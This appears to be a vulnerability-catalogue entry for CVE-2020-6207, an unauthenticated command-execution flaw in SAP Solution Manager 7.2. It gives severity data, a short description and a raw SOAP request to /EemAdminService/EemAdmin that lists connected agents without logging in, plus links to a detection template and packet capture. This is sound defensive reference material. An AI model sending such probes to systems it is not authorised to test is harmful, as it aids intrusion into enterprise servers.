| Title | SAP Solution Manager 7.2 - Remote Command Execution |
|---|---|
| Author | _generic_human_ |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system. |
| Remediation | Apply the latest security patches provided by SAP to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94274 |
| CVE ID | CVE-2020-6207 |
| CWE ID | CWE-306 |
| Tags | cve2020 cve sap solman rce kev vkev vuln |
SAP Solution Manager (SolMan) running version 7.2 has a remote command execution vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem). The vulnerability occurs due to missing authentication checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF), and execute OS commands on connected SMDAgent.
POST /EemAdminService/EemAdmin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Content-Length: 205
Connection: close
Content-Type: text/xml; charset=UTF-8
SOAPAction: ""
Accept-Encoding: gzip
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo/></soapenv:Body></soapenv:Envelope>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-6207.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-6207.pcap
N/AN/A